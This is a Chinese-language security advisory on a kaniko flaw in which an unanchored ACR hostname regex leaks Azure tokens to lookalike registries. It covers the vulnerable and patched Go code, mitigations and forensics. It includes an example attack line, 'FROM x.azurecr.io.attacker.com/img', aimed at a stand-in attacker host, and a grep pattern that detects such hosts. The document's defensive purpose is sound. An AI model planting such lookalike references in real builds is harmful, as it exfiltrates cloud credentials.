kaniko 的 Azure 令牌泄露到仿冒注册表 (CVE-2026-105769)
kaniko 1.25.20 之前会把构建的 Azure Resource Manager 令牌发送到任何包含 .azurecr.io 的注册表主机,包括攻击者的仿冒主机。
TL;DR
- 从
x.azurecr.io.attacker.com等仿冒主机拉取镜像的 Dockerfile 会让 kaniko 把构建的 Azure Resource Manager 令牌发送到该主机。公告于 2026 年 11 月 2 日发布。 - kaniko 1.25.20 之前,在构建使用你无法完全控制的 Dockerfile 或构建参数,且构建可使用 Azure 身份时,会受到影响。
- 公告评分为 CVSS v3.1 9.3 Critical。未报告在野利用,截至 2026 年 11 月 6 日该 CVE 不在 CISA KEV 目录中。
- 升级到 kaniko 1.25.20 或更高版本;1.25.21 是当前版本。如果无法升级,请移除 Azure 凭据并阻止构建 Pod 访问实例元数据服务;参见“如何修复?”。
我受影响吗?
只有同时满足以下所有条件时才会受到影响:
- 构建运行 kaniko 1.25.20 之前版本:executor、warmer,或从该源码构建的独立
docker-credential-acr-env二进制。 - Dockerfile 或到达它的构建参数受到你不完全信任的人影响。拉取请求构建和多租户 CI 是明显的情况。
- 构建环境可以获取 Azure 身份:
AZURE_CLIENT_ID、AZURE_CLIENT_SECRET和AZURE_TENANT_ID中的服务主体凭据;AZURE_FEDERATED_TOKEN或AZURE_FEDERATED_TOKEN_FILE中的联合工作负载身份令牌;或通过 Azure 实例元数据服务或MSI_ENDPOINT获取的托管身份。 - Dockerfile 引用包含
.azurecr.io、.azurecr.cn、.azurecr.de或.azurecr.us但不是 Azure Container Registry 主机的镜像。一行FROM就足够;COPY --from=<image>行也可以。
你不需要使用 Azure Container Registry,也不需要配置 helper。kaniko 会对 Docker 配置中没有凭据且不是 Google 或 Amazon ECR 的任何注册表查询内置 helper。每个仿冒主机都属于这个集合。如果构建没有 Azure 身份,helper 无法获取令牌。
只使用可信 Dockerfile 的构建不会通过此路径受到影响,因为攻击者无法添加仿冒主机。修复后的 kaniko 即使面对不可信 Dockerfile 也不受影响。
| 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| kaniko | 1.25.20 之前的所有版本 | 1.25.20(2026 年 10 月 27 日发布);1.25.21 为当前版本(2026 年 11 月 3 日) |
检查版本和构建输入:
# Version of the executor image or binary
docker run --rm <your-kaniko-executor-image> --version
# Or, inside the build pod
/kaniko/executor --version
# If you import kaniko as a Go module
go list -m github.com/chainguard-dev/kaniko
# Lookalike ACR hosts in a Dockerfile (a dot after the ACR suffix)
grep -nE 'azurecr\.(io|cn|de|us)\.' Dockerfile
# Azure identity available to the build
env | grep -E '^(AZURE_CLIENT_ID|AZURE_CLIENT_SECRET|AZURE_TENANT_ID|AZURE_FEDERATED_TOKEN|AZURE_FEDERATED_TOKEN_FILE|MSI_ENDPOINT|MSI_SECRET)='
如何修复?
- 升级到 kaniko 1.25.20 或更高版本。项目只发布源码标签,不发布二进制,因此请从修复后的源码重建 executor、warmer 和独立的
docker-credential-acr-env二进制。v1.25.20 是第一个修复标签;v1.25.21 是当前版本。 - 如果将 kaniko 作为 Go 模块导入,请将
github.com/chainguard-dev/kaniko更新到 v1.25.20 或更高版本。上游github.com/chrismellard/docker-credential-acr-env模块已停止维护,没有修复版本;kaniko 现在在third_party/docker-credential-acr-env中携带修复后的副本。 - 如果无法升级,请从构建环境中移除 Azure 身份并阻止实例元数据服务:
- 从构建 Pod 中移除
AZURE_CLIENT_ID、AZURE_CLIENT_SECRET、AZURE_TENANT_ID、AZURE_FEDERATED_TOKEN、AZURE_FEDERATED_TOKEN_FILE、MSI_ENDPOINT和MSI_SECRET。 - 阻止构建网络访问
169.254.169.254,使托管身份无法到达。 - 如果不依赖 kaniko 的内置 ACR 认证,请在 kaniko 容器中设置
AZURE_ENVIRONMENT=none。helper 会在请求令牌之前失败。 - 如果 Docker 配置设置了
"credsStore": "acr-env",请将其替换为你自己 ACR 注册表的按主机credHelpers条目。这只会关闭独立二进制路径,不会关闭内置 helper。 - 如果不可信构建在具有 Azure 身份的情况下运行过,请将这些构建期间为该身份签发的每个令牌视为已泄露。检查该身份的 Entra ID 登录日志和 Azure 活动日志,尤其是 ACR 推送、角色分配更改以及密钥或机密列表。轮换该身份的凭据不会撤销已签发的令牌;它在过期前一直有效。
根本原因是什么?
ACR 凭据 helper 使用未锚定的正则表达式判断主机是否为 Azure Container Registry,因此任何包含 ACR 后缀的主机名都会通过。有缺陷的代码位于 kaniko 引入的 github.com/chrismellard/docker-credential-acr-env 中:
var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
func isACRRegistry(input string) bool {
serverURL, err := url.Parse("https://" + input)
if err != nil {
return false
}
if serverURL.Hostname() == mcrHostname {
return true
}
matches := acrRE.FindStringSubmatch(serverURL.Hostname())
if len(matches) == 0 {
return false
}
return true
}
url.Parse("https://" + input).Hostname() 将输入缩减为主机名,而模式两端都没有锚定。evil.azurecr.io.attacker.com 包含 .azurecr.io,因此匹配。foo.azurecr.io.evil 也一样。
helper 的 Get() 随后将匹配视为该主机是 ACR 注册表的证据:
func (a ACRCredHelper) Get(serverURL string) (string, string, error) {
if !isACRRegistry(serverURL) {
return "", "", errors.New("serverURL does not refer to Azure Container Registry")
}
spToken, settings, err := token.GetServicePrincipalTokenFromEnvironment()
if err != nil {
return "", "", fmt.Errorf("failed to acquire sp token %w", err)
}
refreshToken, err := registry.GetRegistryRefreshTokenFromAADExchange(serverURL, spToken, settings.Values[auth.TenantID])
...
}
GetServicePrincipalTokenFromEnvironment() 从服务主体、联合令牌或托管身份获取 Azure Resource Manager 令牌。然后 GetRegistryRefreshTokenFromAADExchange() 调用 Azure SDK 的 GetFromExchange(ctx, "access_token", serverURL, tenantID, "", principalToken.Token().AccessToken)。SDK 向 https://<serverURL>/oauth2/exchange 发送 POST,将令牌放在 Authorization: Bearer 头和 access_token 表单字段中。该 URL 的主机是攻击者的仿冒主机,因此令牌离开了构建环境。
如何被利用?
- 攻击者可以影响 Dockerfile 或到达它的构建参数,例如在拉取请求构建中。
- 攻击者在仿冒主机上添加基础镜像:
FROM x.azurecr.io.attacker.com/img。不需要RUN指令,也不需要推送。 - kaniko 看到 Docker 配置中没有凭据的注册表,并向内置 ACR helper 请求凭据。
- 未锚定的正则表达式匹配仿冒主机。helper 从环境或实例元数据服务获取 Azure Resource Manager 令牌。
- helper 将令牌发送到
https://x.azurecr.io.attacker.com/oauth2/exchange。攻击者现在持有构建身份的有效令牌。 - 攻击者使用该令牌按身份的角色分配访问 Azure Resource Manager,或在真实 ACR 注册表交换以获取注册表凭据。如果身份具有
AcrPush或更高权限,攻击者可以向你的注册表推送镜像。
未列出公开的概念验证代码。公告描述了输入和令牌交换;此处的代码块是有缺陷的源码和修复后的源码,不是可用的漏洞利用。
攻击如何展开?
不可信的基础镜像引用让 helper 将攻击者的主机归类为 Azure Container Registry,helper 随后将构建的 Azure 令牌发送到该主机。
攻击者能做什么?
能够在 Dockerfile 中放置仿冒主机且构建具有 Azure 身份的攻击者,会收到有效的 Azure Resource Manager 令牌。影响取决于该身份的角色分配:
- 读取身份可读取的资源,包括机密和存储密钥。
- 更改身份可管理的角色分配或其他资源。
- 在身份可访问的真实 ACR 注册表交换令牌,获取注册表凭据。
- 如果身份具有
AcrPush或更高权限,向你的注册表推送镜像。
条件完整列出:kaniko 1.25.20 之前、不可信的 Dockerfile 或构建参数、构建可用的 Azure 身份,以及包含 ACR 后缀的仿冒主机。攻击者不需要使用 ACR,不需要构建推送,也不需要 RUN 指令。令牌在过期前一直有效;轮换身份凭据不会撤销它。
为什么修复有效?
修复将未锚定的模式替换为锚定且感知标签的检查,并将修复后的 helper 携带在 kaniko 自己的模块中:
-var acrRE = regexp.MustCompile(`.*\.azurecr\.io|.*\.azurecr\.cn|.*\.azurecr\.de|.*\.azurecr\.us`)
+var acrHostRE = regexp.MustCompile(`^(?:[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?\.)+azurecr\.(?:io|cn|de|us)$`)
@@
func isACRRegistry(input string) bool {
serverURL, err := url.Parse("https://" + input)
- if err != nil {
+ if err != nil || serverURL.Host != input {
return false
}
- if serverURL.Hostname() == mcrHostname {
- return true
+ if i := strings.LastIndexByte(input, ':'); i >= 0 {
+ port := input[i+1:]
+ if !portRE.MatchString(port) {
+ return false
+ }
+ if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
+ return false
+ }
}
- matches := acrRE.FindStringSubmatch(serverURL.Hostname())
- if len(matches) == 0 {
- return false
- }
- return true
+ host := serverURL.Hostname()
+ return host == mcrHostname || acrHostRE.MatchString(host)
}
该模式两端锚定,只允许 ACR 后缀前有格式正确的小写 DNS 标签。evil.azurecr.io.attacker.com 和 foo.azurecr.io.evil 不再匹配。代码还要求解析后的主机等于输入,拒绝尾随点和格式错误的标签,并检查端口范围。对于任何其他主机,helper 返回“credentials not found”,不请求令牌。
修复对公告提到的 helper 路径是完整的:pkg/creds 将 helper 链接到 executor 和 warmer,deploy/Dockerfile 构建独立的 docker-credential-acr-env 二进制。上游模块从 go.mod、go.sum 和 vendor/ 中移除,因此扫描器不再报告 GO-2026-6225。上游项目仍无人维护;维护该分支的人必须关注未来的公告。
如何检查是否已遭入侵?
没有公开的入侵指标。检查在 Azure 侧进行,因为攻击者的主机由攻击者选择,不是固定指标:
# Role assignments held by the build identity (requires the Azure CLI)
az role assignment list --assignee <client-id> --all --output table
# ACR repositories and tags, to look for pushes you did not make
az acr repository list --name <registry-name> --output table
在 Microsoft Entra 管理中心打开构建身份的登录日志,查看不可信构建运行期间。在 Azure 活动日志中筛选 Microsoft.ContainerRegistry/registries/push/write、角色分配更改以及密钥或机密列表。为身份签发的令牌在过期前一直有效,因此之后轮换凭据无法撤销已经发生的窃取。
如果构建从仿冒主机拉取过,请将令牌视为已泄露,检查令牌生命周期内该身份的活动,并轮换该身份可读取的每个机密。没有公开的域名或 IP 列表可供搜索;仿冒主机由攻击者选择。
时间线
- 2023-03-04:
docker-credential-acr-env的上游最后一次提交,未锚定的检查从此无人维护。 - 2025-06:原始 kaniko 仓库归档;Chainguard 分叉以继续维护。
- 2026-10-27:kaniko v1.25.20 发布,携带修复后的内置 helper。
- 2026-11-02:GHSA-5q7h-w9jf-cx97 发布。
- 2026-11-03:当前版本 kaniko v1.25.21 发布。
- 2026-11-05:CVE-2026-105769 发布。
- 2026-11-06:未报告在野利用;该 CVE 不在 CISA KEV 目录中。
常见问题
我只在 AWS 或 GCP 上使用 kaniko。我受影响吗?
可能。对于 Docker 配置中没有凭据且不是 Google 或 Amazon ECR 的任何注册表,都会查询 ACR helper。如果构建环境有 Azure 身份,仿冒主机仍可触发令牌请求。如果没有 Azure 身份,helper 无法获取令牌。
我需要使用 Azure Container Registry 吗?
不需要。你不需要 ACR,也不需要配置 helper。对于无法识别的注册表主机,会自动查询内置 helper。
如果我只构建可信 Dockerfile,会受影响吗?
不会通过此路径。攻击者需要在 Dockerfile 或构建参数中放置仿冒主机。如果所有输入都可信且没有引用仿冒主机,就不会为攻击者的主机查询 helper。
升级会移除上游模块吗?
会。kaniko v1.25.20 在 third_party/docker-credential-acr-env 中携带修复后的副本,不再依赖 github.com/chrismellard/docker-credential-acr-env,因此扫描器不再报告 GO-2026-6225。
它被在野利用了吗?
截至 2026 年 11 月 6 日没有报告在野利用,该 CVE 不在 CISA KEV 目录中。公告于 2026 年 11 月 2 日发布,因此没有报告的时间还很短。
如果无法升级怎么办?
从构建环境中移除 Azure 身份并阻止实例元数据服务,或者如果不使用内置 ACR 认证,设置 AZURE_ENVIRONMENT=none。这些措施阻止令牌请求,但不会修复 helper。请尽快升级。
参考文献
- kaniko 安全公告 GHSA-5q7h-w9jf-cx97,2026 年 11 月 2 日发布,受影响配置、影响、修复和规避措施:https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97 (2026 年 11 月 6 日核查)
- CVE-2026-105769 记录,2026 年 11 月 5 日发布,CVSS v3.1 9.3 和受影响范围:https://www.cve.org/CVERecord?id=CVE-2026-105769 (2026 年 11 月 6 日核查)
- kaniko 提交 08de01fe7fffaeb6bc030efa9eae723ea2dd4405,“Fix GO-2026-6225: carry a patched docker-credential-acr-env inside the kaniko module”,2026 年 10 月 27 日:https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405 (2026 年 11 月 6 日核查)
- kaniko 拉取请求 #495,修复和修复后的 helper:https://github.com/chainguard-forks/kaniko/pull/495 (2026 年 11 月 6 日核查)
- kaniko v1.25.20 发行版,2026 年 10 月 27 日:https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20 (2026 年 11 月 6 日核查)
- kaniko v1.25.21 发行版,2026 年 11 月 3 日,当前版本:https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.21 (2026 年 11 月 6 日核查)
- kaniko 的
vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go,v1.25.19,未锚定的正则:https://github.com/chainguard-forks/kaniko/blob/v1.25.19/vendor/github.com/chrismellard/docker-credential-acr-env/pkg/credhelper/helper.go (2026 年 11 月 6 日核查) - kaniko 的
third_party/docker-credential-acr-env/PATCHES.md,锚定的主机检查和内置副本:https://github.com/chainguard-forks/kaniko/blob/v1.25.20/third_party/docker-credential-acr-env/PATCHES.md (2026 年 11 月 6 日核查) - Go 漏洞数据库 GO-2026-6225,上游模块公告:https://pkg.go.dev/vuln/GO-2026-6225 (2026 年 11 月 6 日核查)
- GitHub,
GoogleContainerTools/kaniko,15,750 个星标和 1,529 个分叉,已归档的原始仓库:https://github.com/GoogleContainerTools/kaniko (2026 年 11 月 6 日核查) - GitHub,
chainguard-forks/kaniko,维护中的分叉及其 README:https://github.com/chainguard-forks/kaniko (2026 年 11 月 6 日核查) - CISA Known Exploited Vulnerabilities 目录 JSON 源,2026 年 11 月 6 日核查 CVE-2026-105769(未列出):https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json (2026 年 11 月 6 日核查)